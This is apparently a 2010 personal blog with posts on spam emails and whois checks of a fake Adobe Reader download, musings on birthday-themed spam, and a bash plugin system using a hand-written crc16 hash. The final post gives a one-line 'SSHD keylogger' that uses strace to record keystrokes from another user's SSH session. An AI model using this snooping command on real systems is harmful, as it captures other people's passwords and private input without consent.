Monday, 19 July 2010

Random spam

Literally... This one got through gmail's spam filters recently... URL in it is


which seems to just be spamming about working from home. Had a quick look through the JavaScript, didn't see anything too scary. Interesting approach though.

Received: by with SMTP id j9cs78472bkg;
Mon, 19 Jul 2010 03:02:26 -0700 (PDT)
Received: by with SMTP id 12mr1676540icg.27.1279533745005;
Mon, 19 Jul 2010 03:02:25 -0700 (PDT)
Received: from ( [])
by with ESMTP id 1si10103284ibz.26.2010.;
Mon, 19 Jul 2010 03:02:25 -0700 (PDT)
Received-SPF: pass ( domain of designates as permitted sender) client-ip=;
Authentication-Results:; spf=pass ( domain of designates as permitted sender)
Received: from COL118-W13 ([]) by with Microsoft SMTPSVC(6.0.3790.4675);
Mon, 19 Jul 2010 03:01:42 -0700
Content-Type: multipart/alternative;
X-Originating-IP: []
Subject: Re: leg
Date: Mon, 19 Jul 2010 10:01:42 +0000
Importance: Normal
MIME-Version: 1.0
X-OriginalArrivalTime: 19 Jul 2010 10:01:42.0497 (UTC) FILETIME=[63661D10:01CB2729]

Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable


mghmqnc7 lqij0l44 c62u2h47oi9 c8x30ng s212x4cu y9mja8bfhh0 a5dy7n2mv4 5fycq=
2eeh6p sqz7rt eipy94g
nz30d86cgvx 6m7p5v7hd0 98v3nyk 5ohjr jf3mia7km42b y71nk f6owy5dzh w7s3h2 5l=
tu36zwq9k 5g4fcglnu ypbrhwgnm9e ie3s2w yywbw 8hvfk76thv3 zj0c9sifp csft04h =
7j0b6fuh647m egw3vcw60w3
f537u3 o7pf805s cxtnm339vm f7or2a183r8 9c4q70rfp 5sisqgdr4ib demuk81dnob yn=
lhlw47 p22fyvd
c5f1uyii 1y6gs3t13w zbawrjdbco79 ju86sw i1mty2678n0 k8ac2xjr0 cecdlbounyjk =
pp3o 0jxerx 3p0552fepkq
6uyg0x2v2xdr l929yeslo8 4csmmc2 dbu5o ntcjv rom7mlpdm0xc cask yl30c oq8n26
dxdld8iw2fl asbgaqse280 r8hi y5y3e9 zik23m ned6 2a3jp7lgntcx sh3x2e0t
Hotmail: Trusted email with Microsoft=92s powerful SPAM protection.

Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<body class=3D'hmmessage'>

mghmqnc7 lqij0=
l44 c62u2h47oi9 c8x30ng s212x4cu y9mja8bfhh0 a5dy7n2mv4 5fycq2eeh6p sqz7rt =
nz30d86cgvx 6m7p5v7hd0 98v3nyk 5ohjr jf3mia7km42b y71nk f6owy5dz=
h w7s3h2 5lxnlp3g3m
tu36zwq9k 5g4fcglnu ypbrhwgnm9e ie3s2w yywbw 8hvfk76=
thv3 zj0c9sifp csft04h 7j0b6fuh647m egw3vcw60w3
f537u3 o7pf805s cxtnm339=
vm f7or2a183r8 9c4q70rfp 5sisqgdr4ib demuk81dnob ynlhlw47 p22fyvd
ii 1y6gs3t13w zbawrjdbco79 ju86sw i1mty2678n0 k8ac2xjr0 cecdlbounyjk pp3o 0=
jxerx 3p0552fepkq
6uyg0x2v2xdr l929yeslo8 4csmmc2 dbu5o ntcjv rom7mlpdm0=
xc cask yl30c oq8n26
dxdld8iw2fl asbgaqse280 r8hi y5y3e9 zik23m ned6 2a3=
jp7lgntcx sh3x2e0t

Hotmail: Trusted email with Microsoft=92s powerful =
SPAM protection. target=3D'_new'>Sign up now.</body>


Wednesday, 30 June 2010

Happy birthday! Spam!!!!?

So, it was my birthday fairly recently, thank you, and while checking through my Google Mail spam folder I noticed several emails wishing me a "Happy Birthday" but which seemed to come from sites/organizations/addresses etc that I didn't recognize.

This got me thinking.

Is there any spam floating around which tries to use birthdays as a social engineering vector? Obviously you have a one in 365.25 chance of that person having a birthday on the day they receive the spam email (plus or minus a few days and assuming of course uniform distribution (which isn't the case I'm sure, but I think spammers could probably time things quite well) and that the spam makes it through whatever filters). Even with those odds working against the spammer, is the potential increased click-through/purchase etc worth it? In fact, if this Birthday distribution is anything to go by then I should imagine that September offers better than 1/365 odds.

Has anyone seen this sort of "vector", does it exist?

Just a thought.


BTW, I think those emails I saw were things I had signed up for with my address.
If so, hopefully I don't have to worry about it for another year or so...

Saturday, 12 June 2010

Different crc16 and the problem with hashes

OK, so when I said "pretty slow", I think I actually meant that it is stupidly slow.

I'll get to exactly why in a second, but here is a slightly faster crc16 function (I "ported" it from some c code I found whilst googling, but unfortunately I cannot credit the original source as I cannot find it):

crc_table=( 0x0000 0x1189 0x2312 0x329b 0x4624 0x57ad 0x6536 0x74bf \
0x8c48 0x9dc1 0xaf5a 0xbed3 0xca6c 0xdbe5 0xe97e 0xf8f7 \
0x1081 0x0108 0x3393 0x221a 0x56a5 0x472c 0x75b7 0x643e \
0x9cc9 0x8d40 0xbfdb 0xae52 0xdaed 0xcb64 0xf9ff 0xe876 \
0x2102 0x308b 0x0210 0x1399 0x6726 0x76af 0x4434 0x55bd \
0xad4a 0xbcc3 0x8e58 0x9fd1 0xeb6e 0xfae7 0xc87c 0xd9f5 \
0x3183 0x200a 0x1291 0x0318 0x77a7 0x662e 0x54b5 0x453c \
0xbdcb 0xac42 0x9ed9 0x8f50 0xfbef 0xea66 0xd8fd 0xc974 \
0x4204 0x538d 0x6116 0x709f 0x0420 0x15a9 0x2732 0x36bb \
0xce4c 0xdfc5 0xed5e 0xfcd7 0x8868 0x99e1 0xab7a 0xbaf3 \
0x5285 0x430c 0x7197 0x601e 0x14a1 0x0528 0x37b3 0x263a \
0xdecd 0xcf44 0xfddf 0xec56 0x98e9 0x8960 0xbbfb 0xaa72 \
0x6306 0x728f 0x4014 0x519d 0x2522 0x34ab 0x0630 0x17b9 \
0xef4e 0xfec7 0xcc5c 0xddd5 0xa96a 0xb8e3 0x8a78 0x9bf1 \
0x7387 0x620e 0x5095 0x411c 0x35a3 0x242a 0x16b1 0x0738 \
0xffcf 0xee46 0xdcdd 0xcd54 0xb9eb 0xa862 0x9af9 0x8b70 \
0x8408 0x9581 0xa71a 0xb693 0xc22c 0xd3a5 0xe13e 0xf0b7 \
0x0840 0x19c9 0x2b52 0x3adb 0x4e64 0x5fed 0x6d76 0x7cff \
0x9489 0x8500 0xb79b 0xa612 0xd2ad 0xc324 0xf1bf 0xe036 \
0x18c1 0x0948 0x3bd3 0x2a5a 0x5ee5 0x4f6c 0x7df7 0x6c7e \
0xa50a 0xb483 0x8618 0x9791 0xe32e 0xf2a7 0xc03c 0xd1b5 \
0x2942 0x38cb 0x0a50 0x1bd9 0x6f66 0x7eef 0x4c74 0x5dfd \
0xb58b 0xa402 0x9699 0x8710 0xf3af 0xe226 0xd0bd 0xc134 \
0x39c3 0x284a 0x1ad1 0x0b58 0x7fe7 0x6e6e 0x5cf5 0x4d7c \
0xc60c 0xd785 0xe51e 0xf497 0x8028 0x91a1 0xa33a 0xb2b3 \
0x4a44 0x5bcd 0x6956 0x78df 0x0c60 0x1de9 0x2f72 0x3efb \
0xd68d 0xc704 0xf59f 0xe416 0x90a9 0x8120 0xb3bb 0xa232 \
0x5ac5 0x4b4c 0x79d7 0x685e 0x1ce1 0x0d68 0x3ff3 0x2e7a \
0xe70e 0xf687 0xc41c 0xd595 0xa12a 0xb0a3 0x8238 0x93b1 \
0x6b46 0x7acf 0x4854 0x59dd 0x2d62 0x3ceb 0x0e70 0x1ff9 \
0xf78f 0xe606 0xd49d 0xc514 0xb1ab 0xa022 0x92b9 0x8330 \
0x7bc7 0x6a4e 0x58d5 0x495c 0x3de3 0x2c6a 0x1ef1 0x0f78 )

for char in $(echo "$1" | fold -w 1); do
byte=$(printf "%d" \'$char)
(( crc= crc >> 8 ^ ${crc_table[($crc ^ $byte) & 0x00FF]} ))
echo $crc

In the above code the crc_table array would be a global variable.

Unfortunately, even though that crc16 function is somewhat faster, a BPA script of say 10 plugins each with 10 commands would still take just under 5 seconds to run. After thinking about it for five seconds, the reason is that that for each command (there are 10 x 10 = 100 of them) it needs to generate a crc16 about 5 times to store various bits of information. Then, once all the plugin data is loaded, there are relatively few actual reads of the hash which means that the script spends much much longer generating crc16 when inserting data, most of which is never going to be read and even if it is read it is only read a couple of times.

This is an extremely inefficient use of hashes, especially when written in something slow like bash.

So, what are the options?

  • Redesign the script to not load all the plugins (which sort of defeats the purpose)
  • Not use hashes in any form
  • Use other fake hash made from running two arrays in parallel (one for keys and one for values)
  • Use built-in associative array functionality of Bash 4.0 onwards

I think my cunning plan is to use a combination of the last two options. If the version of Bash is 4.0 or greater, then we can use the built-in functionality. If not, we degrade to the two array fake hashes.

I will be updating in the coming weeks then I guess...

Saturday, 22 May 2010

Fun with bash: crc16, hashes and plugins

Today I released simple plugin architecture for bash scripts.

To do what it does, it uses three interesting features of bash:

  • The source command to read in the plugins

  • Bash arrays turned into hashes using a crc16 function written in bash

  • Bash functions within functions to limit the scope of plugin commands

This post describes those three interesting features.

Bash Plugin Architecture

The project page is at:

It allows you to create plugins like:

user@host:~/bpa$ cat plugins/security/nmap.shp

registerPlugin "NMap" "nmap" "The mighty portscanner"

registerCommand 'SynScan' 'syn' 'TCP Syn scan of hosts'
registerCommand 'Ping' 'ping' 'Ping scan of hosts'

# Name of the plugin
# Name of the command.
# Each command goes inside the Plugin() function
# Code for this command
nmap -sS -P0 $hosts

nmap -v -sP $hosts

which can be used like

$ sudo --nmap --syn --

For this to work, just needs to source the script and run a few commands (see the project page for details).

Sourcing plugins

This feature is probably the simplest, and part of the code of is below:

# Registers a new application.
# This must be the first thing called inside the application script.
# @param name
# Name of the application.
# @param debug
# (optional) If set to '1' debugging is enabled for the application. Defaults
# to '0'.
# @param plugins
# (optional) Sets the plugins directory for the application. Defaults to
# './plugins' inside the directory of the application script.
# @return
# Does not return a value
# Example:
# @code
# new 'MyApp' 1 '/var/lib/plugins/myapp'
new() {


debug "New application $sAppName"
for plugin in $(ls ${sAppPluginsDir}/*.shp); do
debug "Sourcing $plugin"
source "$plugin"

Basically, when the application script sources the main script and calls the new function, looks inside a plugins directory for all files ending in .shp (shell plugin). For each file it finds it calls the source command.

Now, when you source a plugin, you run it's registerPlugin function and all of it's registerCommand functions which in turn uses the hash functions as described next.

Bash hashes

The registerPlugin function looks something like:

# Registers a plugin for the application.
# This should the first thing a plugin (.shp) script does.
# @param name
# The name of the plugin.
# @param switch
# The command-line switch used to access the plugin, using --switch.
# @param description
# A description of the plugin. This is displayed when the --help switch
# is used.
# @return
# Does not return a value
# Example
# @code
# registerPlugin 'MyPlugin' 'my' 'An example plugin'

debug "Registering $sPluginName"

hash_set $sPluginName name "$sPluginName"
hash_set $sPluginName description "$sPluginDescription"

hash_set hPlugins "$sPluginSwitch" "$sPluginName"

The interesting thing in that function is the use of hash_set, which is:

# Creates hash with given name and sets key/value pair.
# @param name
# Name of the hash.
# @param key
# Hash key value.
# @param value
# Hash value for key.
# @return
# Does not return a value.

id=$(crc16 $key)
eval $name\[\$id\]=\"\$value\"
array_push $lookup $key

This function takes a name for the hash as its first argument, then a key followed by the value for that key. It then uses the crc16 function (shown below) to generate a numeric index for the actual bash array. It then uses the bash eval command to create a real array from the hash name that was supplied. Finally, it uses a simple array_push function to keep track of the keys in case we want to iterate over them.

Quite simple, and definitely overkill ;) It would be possible to just create two parallel arrays to track the key/value pairs, but this is more fun.

The crc16 function looks like this:

# Generates a crc16 value for the given string.
# @param string
# String to be crc16'd.
# @return
# Decimal crc16 value of string
# This could probably be more efficient...
aString=($(echo $string | fold -w 1))

for ((x=0;x<$cnt;x++)); do
byte=$(printf "%d" \'$char)
for ((i=0;i<8;i++)); do
(( charLsb = $byte & 0x0001 ))
(( crcLsb = $crc & 0x0001 ))
(( doAdd = $charLsb ^ $crcLsb ))

(( byte = $byte >> 1 ))
(( crc = $crc >> 1))

if [ "$doAdd" -eq "1" ]; then
(( crc = $crc ^ $crcPolyNom ))
echo $crc

To get a value from the array, we just have to generate the crc16 for the key:

# Gets the value for key from the given hash.
# @param name
# Name of the hash.
# @param key
# The key value.
# @return
# The value associated with the key

id=$(crc16 $key)
eval echo \$\{$name\[\$id\]\}

So yeah, this is pretty slow... but also pretty cool.

Functions within functions

You can declare a function within a function. For example:

# Name of the command.
# Each command goes inside the Plugin() function
# Code for this command
nmap -sS -P0 $hosts

In order to run the SynScan function, you must first run the NMap function. At first this might not seem very useful. But for a plugin system it is, as it allows multiple plugins to have the same commands, without any clashing. calls the plugin function and command in the run function:

# Runs the actual application.
# @return
# Does not return a value.
# Example:
# @code
# run
run() {
debug "Running $sAppName"
parse $aAppArgs
debug "Plugin: $sSelectedPlugin"
debug "Command: $sSelectedCommand"
$sSelectedCommand $aCmdArgs

So we could happily have another plugin, perhaps like:

# Name of the command.
# Each command goes inside the Plugin() function
# Code for this command
othercoolportscanner -s $hosts

...without worrying about mixups.

Monday, 17 May 2010

sp@m witt no spalling mistokes

Just received the following email:

from Adobe
date 17 May 2010 16:40
subject Download New Adobe PDF Reader For Windows

hide details 16:40 (1 hour ago)

PDF Reader for Windows - Compatible with All Windows Platforms

Get the new and improved 2010 version.
The ultimate PDF software pack to open, read and share PDF files online.

Download New PDF reader here:

New Features in PDF Reader:

- Search, open & share PDF files online
- 50% faster startup then previous versions
- Search & save online Internet content
- NEW! Improved user interface

Also receive the award winning OfficeSuite absolutely free.

New version available :

Since the 90's, PDF has become the standard file format for document exchange. - Adobe

Thank you,

Adobe Reader Support

Click here to unsubscribe

Not only did this get through the usual spam filters Google so wonderfully provides, but it actually looks quite professional =/

A quick look at the whois output...

Name Server:
Name Server:
Creation Date: 2010.05.17


Registrant ID: UALWS2Z-RU
Registrant Name: Tommy Anderson
Registrant Organization: Tommy Anderson
Registrant Street1: 273 Parkway
Registrant City: Miami
Registrant State: FL
Registrant Postal Code: 33402
Registrant Country: US

Administrative, Technical Contact
Contact ID: UALWS2Z-RU
Contact Name: Tommy Anderson
Contact Organization: Tommy Anderson
Contact Street1: 273 Parkway
Contact City: Miami
Contact State: FL
Contact Postal Code: 33402
Contact Country: US
Contact Phone: +1 504 3442930
Contact E-mail:

Registrar: Regional Network Information Center, JSC dba RU-CENTER

Last updated on 2010.05.17 20:38:33 MSK/MSD

and suddenly it doesn't look so professional.

I haven't actually tried visiting the site yet, I don't have any systems I can happily pwn.

The unsubscribe link goes to:

A quick Google search: - Online Marketing Services Provider | Visit ...
This company specializes on marketing services through e-mail giving their clients the possibility of reaching a wider and international audience. › Site Reviews - Cached - Similar

In conclusion, this might just be some dodgy marketing for an Adobe reseller, but I don't think I'll take my chances.

Wednesday, 13 January 2010

A basic SSHD keylogger

strace -p $(pgrep -n -u user sshd) 2>&1 | perl -ne '$_ =~ /^write\(\d+, "([^"]+)"\.\.\., 1\)/ && print time()." ".$1."\n";'

Speaks for itself really. Doesn't catch 'up' and 'down' keys, but does things like new line. CBA to investigate - it served its purpose.